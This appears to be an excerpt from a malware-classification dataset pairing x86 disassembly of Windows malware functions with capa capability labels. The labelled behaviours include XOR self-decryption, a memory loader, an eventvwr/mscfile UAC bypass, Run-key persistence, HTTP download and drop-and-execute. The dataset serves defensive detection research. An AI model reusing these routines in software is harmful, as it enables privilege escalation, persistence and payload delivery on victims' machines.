joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013ccd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10013cdc
pop dword [ebp - 0x38]
mov eax, 0x6052a977
sub eax, 0x50516c9b
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x4b311d37
sub dword [ebp - 0x48], 0xfcded7ec
mov dword [ebp - 0x44], 0x2123ada7
add dword [ebp - 0x44], 0x110f9e9e
mov dword [ebp - 0x40], 0x664caf9c
add dword [ebp - 0x40], 0xe5ff9492
mov dword [ebp - 0x3c], 0xe3d40fbe
sub dword [ebp - 0x3c], 0xe3d40fbe
lea eax, [ebp - 0x48]
push eax
mov eax, 0xd50887be
add eax, 0x3af9184a
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x9331b182
sub dword [ebp - 0x48], 0x1ebf482c
mov dword [ebp - 0x44], 0x475c9da2
add dword [ebp - 0x44], 0xfa0fc3d3
mov dword [ebp - 0x40], 0x330f1b86
sub dword [ebp - 0x40], 0xcf9faf1a
mov dword [ebp - 0x3c], 0x92f75f1
add dword [ebp - 0x3c], 0xf6d08a0f
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x80fa706d
sub eax, 0x70f8d061
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3c759
push 0
call eax
mov ecx, 0x712977cd
sub ecx, 0x71292731
xor esi, esi
add esi, eax
mov edx, 0x4c771988
add edx, 0xc38b3078
add edx, dword [ebp - 0x38]
mov ebx, 0x4ac60984
add ebx, 0x4f05d5cf
mov dword [ebp - 0x1c], 0x5f1e3cb
mov edi, dword [edx]
xor dword [ebp - 4], ebx
xor edi, ebx
xor dword [ebp - 4], edx
mov dword [esi], edi
mov dword [ebp - 0x10], 0xc3a67160
add esi, 4
add edx, 0xc6033ebe
add edx, 0x39fcc146
loop 0x10013e00
add eax, 0xd5ae4957
add eax, 0x2a52ebec
mov ebx, eax
add eax, 0xf0ff863b
sub eax, 0xf0ff8636
mov ecx, 0x10000000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x402a78
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, 0x410668
push edi
push esi
push str.mscfile_shellopencommand
lea eax, [ebp - 0x14]
push 0x80000000
push eax
call fcn.00408ef1
mov edi, 0x415950
add esp, 0x10
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
inc eax
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push str.origmsc
mov ecx, 0x4157e8
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov edi, 0x80000001
push eax
push edi
call fcn.004090d0
add esp, 0x1c
lea eax, [ebp - 1]
push 2
sub esp, 0x10
mov ecx, esp
push eax
push str.C:Documents_and_SettingsAdministratorTemplates_sbietrcl.exe
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push esi
push str.SoftwareClassesmscfile_shellopencommand
push edi
call fcn.00408fda
push str.eventvwr.exe
lea eax, [ebp - 0x24]
push 0x34
push eax
call fcn.0040712f
add esp, 0x2c
xor edi, edi
lea ecx, [ebp - 0x24]
push edi
push esi
push esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x410718
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jbe 0x402b43
push edi
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
xor al, al
pop esi
leave
ret
Function at 0x405d53
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
lea eax, [ebp - 1]
push ebx
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
lea eax, [ebp - 0x24]
push 0x80000001
push eax
xor bl, bl
call fcn.00408ef1
add esp, 0x10
lea ecx, [ebp - 0x14]
push eax
call dword [0x410264]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x14]
push 0x410668
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x405dc1
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_IE_cookies_not_found_
jmp 0x405e1a
lea eax, [ebp - 0x128]
push 0x104
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x405df9
push eax
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
jmp 0x405db9
lea eax, [ebp - 0x128]
push eax
call fcn.0040f234
pop ecx
test eax, eax
push 0
je 0x405e2e
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push str._n_IE_cookies_cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
mov bl, 1
jmp 0x405e64
push 0x410cc4
mov ecx, 0x415968
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char_const___unsigned_int_const]
test eax, eax
je 0x405e64
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov bl, 1
mov ecx, esp
push eax
push str._n_IE_cookies_cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x405f6c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov al, byte [ebp + 8]
imul ecx, ecx, 0xea60
push ebx
push esi
test al, al
push edi
mov byte [0x415760], al
mov dword [0x415764], ecx
je 0x405fd9
and dword [ebp + 8], 0
mov ebx, 0x410d48
mov edi, 0x4157e8
push ebx
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov esi, 0x80000001
push eax
push esi
call fcn.00408e4e
add esp, 0xc
test al, al
je 0x405fd9
lea eax, [ebp + 8]
mov ecx, edi
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.00408e97
xor eax, eax
add esp, 0x10
cmp dword [ebp + 8], eax
je 0x405fdb
xor al, al
jmp 0x405fed
xor eax, eax
push eax
push eax
push eax
push 0x405e72
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40e750
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x271c
call fcn.0040fcf0
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
and byte [ebp + 0x13], 0
xor esi, esi
push esi
push esi
push esi
push 1
mov dword [eax], esi
push str.user
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push 0x80000000
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x40e846
push edi
mov dword [ebp + 0x10], esi
mov dword [ebp + 8], esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x271c]
push 0x2710
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40e7c8
cmp dword [ebp + 0x10], esi
jbe 0x40e81f
mov eax, dword [ebx]
add eax, dword [ebp + 0x10]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebx]
mov esi, dword [ebp + 8]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 8], eax
and ecx, 3
push dword [ebp + 8]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx]
mov ecx, dword [ebp + 0x10]
add edi, eax
mov eax, ecx
lea esi, [ebp - 0x271c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0040fc2c
mov eax, dword [ebp - 8]
pop ecx
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0x10]
add dword [ebx], eax
pop ecx
xor esi, esi
jmp 0x40e7a6
push dword [ebx]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edi, eax
mov dword [ecx], eax
mov ecx, dword [ebx]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + 0x13], 1
pop edi
push dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
mov al, byte [ebp + 0x13]
pop esi
pop ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x411ab0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0xb000]
push edi
or ebp, 0xffffffff
jmp 0x411ad2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x411ad9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x411ac8
mov eax, 1
add ebx, ebx
jne 0x411aeb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x411ae0
jne 0x411afc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x411ae0
xor ecx, ecx
sub eax, 3
jb 0x411b10
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x411b82
mov ebp, eax
add ebx, ebx
jne 0x411b1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x411b28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x411b4c
inc ecx
add ebx, ebx
jne 0x411b38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x411b2d
jne 0x411b49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x411b2d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x411b6c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x411b5d
jmp 0x411ace
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x411b6c
add edi, ecx
jmp 0x411ace
pop esi
mov edi, esi
mov ecx, 0x203
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x411b8a
cmp byte [edi], 0xa
jne 0x411b8a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x411b8f
lea edi, [esi + 0xf000]
mov eax, dword [edi]
or eax, eax
je 0x411bfe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x113a4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x11408]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x411bbc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1140c]
or eax, eax
je 0x411bf8
mov dword [ebx], eax
add ebx, 4
jmp 0x411bd9
call dword [esi + 0x11410]
popal
jmp 0x403ae7
Function at 0x1000111b
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov al, byte [ecx]
and dword [esp + 0x18], 0
push ebx
push esi
mov byte [edx], al
lea eax, [edx + 1]
push edi
xor edi, edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0x14]
xor ebx, ebx
lea eax, [ecx + 1]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
call fcn.100012cd
test eax, eax
je 0x1000127f
lea ecx, [esp + 0x18]
call fcn.100012cd
lea ecx, [esp + 0x18]
test eax, eax
je 0x100011ee
call fcn.100012cd
test eax, eax
je 0x100011ac
push 4
xor edi, edi
pop ebx
lea ecx, [esp + 0x18]
call fcn.100012cd
lea edi, [eax + edi*2]
dec ebx
jne 0x1000117e
mov edx, dword [esp + 0x1c]
test edi, edi
je 0x1000119f
mov eax, edx
sub eax, edi
mov al, byte [eax]
mov byte [edx], al
jmp 0x100011a2
mov byte [edx], 0
mov ebx, dword [esp + 0x10]
inc edx
jmp 0x10001291
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
movzx esi, byte [eax]
mov ecx, esi
and ecx, 1
inc eax
add ecx, 2
shr esi, 1
mov dword [esp + 0x18], eax
je 0x100011e2
test ecx, ecx
je 0x1000127a
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x100011d4
jmp 0x10001276
xor ebx, ebx
inc ebx
mov dword [esp + 0x10], ebx
jmp 0x1000127a
call fcn.100012ac
test edi, edi
jne 0x10001223
cmp eax, 2
jne 0x1000121e
lea ecx, [esp + 0x18]
call fcn.100012ac
mov edx, dword [esp + 0x1c]
mov edi, eax
test edi, edi
je 0x1000127a
mov ecx, edx
sub ecx, esi
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
dec edi
jne 0x10001213
jmp 0x10001276
sub eax, 3
jmp 0x10001226
sub eax, 2
mov ecx, dword [esp + 0x18]
mov esi, eax
movzx eax, byte [ecx]
shl esi, 8
add esi, eax
inc ecx
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
call fcn.100012ac
mov ecx, eax
cmp esi, 0x7d00
jb 0x1000124d
inc ecx
cmp esi, 0x500
jb 0x10001256
inc ecx
cmp esi, 0x80
jae 0x10001261
add ecx, 2
mov edx, dword [esp + 0x1c]
test ecx, ecx
je 0x1000127a
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x1000126d
mov dword [esp + 0x1c], edx
xor edi, edi
inc edi
jmp 0x10001297
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
mov dword [esp + 0x18], ecx
xor edi, edi
mov dword [esp + 0x1c], edx
test ebx, ebx
je 0x1000114e
sub edx, dword [esp + 0x14]
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100015b1
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [0x10007004]
mov esi, ecx
mov ecx, dword [eax + 0x10]
push 0x2af8
add ecx, eax
call fcn.100034d0
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
call fcn.10003650
lea eax, [ebp - 0x420]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
xor ebx, ebx
push ebx
push 0x1000616c
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
xor eax, eax
inc eax
cmp esi, eax
jne 0x1000162a
mov edx, 0x10006170
jmp 0x10001634
cmp esi, 2
jne 0x1000163f
mov edx, 0x1000617c
lea ecx, [ebp - 0x218]
call fcn.100031c0
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x218]
push eax
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100016a8
push ebx
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10001686
cmp dword [ebp - 4], ebx
push 1
pop ebx
cmove esi, ebx
jmp 0x10001689
xor ebx, ebx
inc ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x100016a8
push ebx
xor ecx, ecx
push ecx
push ecx
lea eax, [ebp - 0x218]
push eax
push ecx
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 8]
call fcn.10003120
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001a69
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x78
lea ecx, [ebp + 8]
push esi
xor esi, esi
mov dword [eax], esi
call fcn.100023f3
test eax, eax
je 0x10001b98
xor dword [ebp + 8], 0xcf8558fc
lea edx, [ebp + 8]
lea ecx, [ebp - 0x24]
call fcn.100024f3
lea ecx, [ebp - 0x24]
call fcn.100024f3
lea ecx, [ebp - 0x24]
call fcn.100024f3
lea ecx, [ebp - 0x24]
call fcn.100024f3
lea ecx, [ebp - 0x24]
call fcn.100024f3
lea ecx, [ebp - 0x24]
call fcn.100024f3
lea ecx, [ebp - 0x14]
call fcn.100024f3
lea ecx, [ebp - 0x14]
call fcn.100024f3
lea ecx, [ebp - 0x14]
call fcn.100024f3
lea ecx, [ebp - 0x14]
call fcn.100024f3
lea ecx, [ebp - 0x14]
call fcn.100024f3
mov dword [ebp - 0x10], 0xc
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
push esi
lea eax, [ebp - 0xc]
push eax
mov edx, str.D:_D_OICI_GA___BG__D_OICI_GA___AN__A_OICI_GA___AU__A_OICI_GA___BA_
mov ecx, str.S:_ML__NW___LW_
cmovbe ecx, edx
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorA]
movzx eax, byte [ebp - 0x15]
push eax
movzx eax, byte [ebp - 0x16]
push eax
movzx eax, byte [ebp - 0x17]
push eax
movzx eax, byte [ebp - 0x18]
push eax
movzx eax, byte [ebp - 0x19]
push eax
movzx eax, byte [ebp - 0x1a]
push eax
movzx eax, byte [ebp - 0x1b]
push eax
movzx eax, byte [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x1e]
push eax
movzx eax, word [ebp - 0x20]
push eax
push dword [ebp - 0x24]
lea eax, [ebp - 0x74]
push str._08x_04x_04x_02x_02x_02x_02x_02x_02x_02x_02x
push 0x28
push eax
call fcn.10003130
add esp, 0x38
lea eax, [ebp - 0x74]
push eax
push esi
push 1
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov esi, eax
test esi, esi
je 0x10001b95
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop esi
leave
ret 4
Function at 0x10001b9d
Capabilities:
Link many functions at runtime
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc50
push ebx
push esi
push edi
push 0x100061bc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
je 0x10001d05
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RegOpenKeyExW
push ebx
call esi
push str.RegCloseKey
push ebx
mov edi, eax
call esi
push str.RegQueryInfoKeyW
push ebx
mov dword [ebp - 0x20], eax
call esi
push str.RegEnumValueW
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.RegDeleteValueW
push ebx
mov dword [ebp - 0x18], eax
call esi
mov ecx, dword [ebp + 8]
neg ecx
sbb ecx, ecx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
and ecx, 0x100
or ecx, 3
push ecx
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call edi
test eax, eax
jne 0x10001cfe
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x24c], ax
lea eax, [ebp - 0x24a]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x44]
push eax
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24c]
push eax
push dword [ebp - 8]
mov dword [ebp - 0xc], 0x104
call ebx
test eax, eax
jne 0x10001cf5
mov esi, dword [ebp - 0x28]
dec esi
js 0x10001cf5
xor eax, eax
and dword [ebp + 8], eax
mov word [ebp - 0x44c], ax
mov word [ebp - 0xc4c], ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc4c]
push eax
lea eax, [ebp + 8]
push eax
push 0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44c]
push eax
push esi
push dword [ebp - 8]
mov dword [ebp - 0x24], 0x100
mov dword [ebp - 0x1c], 0x800
call dword [ebp - 0x18]
test eax, eax
jne 0x10001cf0
cmp dword [ebp + 8], 1
jne 0x10001cf0
lea ecx, [ebp - 0xc4c]
call fcn.10003030
test eax, eax
jne 0x10001d0f
sub esi, 2
jns 0x10001c93
push dword [ebp - 8]
call dword [ebp - 0x20]
mov ebx, dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 4
lea eax, [ebp - 0x44c]
push eax
push dword [ebp - 8]
call edi
jmp 0x10001c2e
Function at 0x10001d20
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
xor edi, edi
push 0x100061bc
mov dword [ebp - 0x14], edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x10001e39
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RegOpenKeyExW
push ebx
call esi
push str.RegSetValueExW
push ebx
mov dword [ebp - 8], eax
call esi
push str.RegCloseKey
push ebx
mov dword [ebp - 0xc], eax
call esi
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
and dword [ebp - 4], edi
mov dword [ebp - 0x18], eax
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x18]
call fcn.1000254c
test eax, eax
je 0x10001e32
mov eax, dword [ebp - 4]
test eax, eax
je 0x10001e32
mov esi, dword [ebp + 0xc]
xor ecx, ecx
neg esi
sbb esi, esi
mov word [ebp + eax*2 - 0x40], cx
lea eax, [ebp + 0xc]
push eax
and esi, 0x100
or esi, 2
push esi
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [ebp - 8]
test eax, eax
jne 0x10001df2
mov ecx, dword [ebp + 8]
call fcn.10003150
add eax, eax
push eax
push ecx
xor eax, eax
inc eax
push eax
push edi
lea eax, [ebp - 0x40]
push eax
push dword [ebp + 0xc]
call dword [ebp - 0xc]
push 1
test eax, eax
pop eax
push dword [ebp + 0xc]
cmove edi, eax
mov dword [ebp - 0x14], edi
call dword [ebp - 0x10]
lea eax, [ebp + 0xc]
push eax
push esi
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
push 0x80000001
call dword [ebp - 8]
test eax, eax
jne 0x10001e32
mov byte [ebp - 0x24], al
lea edi, [ebp - 0x23]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xc
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
push eax
push 3
push 0
lea eax, [ebp - 0x40]
push eax
push dword [ebp + 0xc]
call dword [ebp - 0xc]
push dword [ebp + 0xc]
call dword [ebp - 0x10]
mov edi, dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8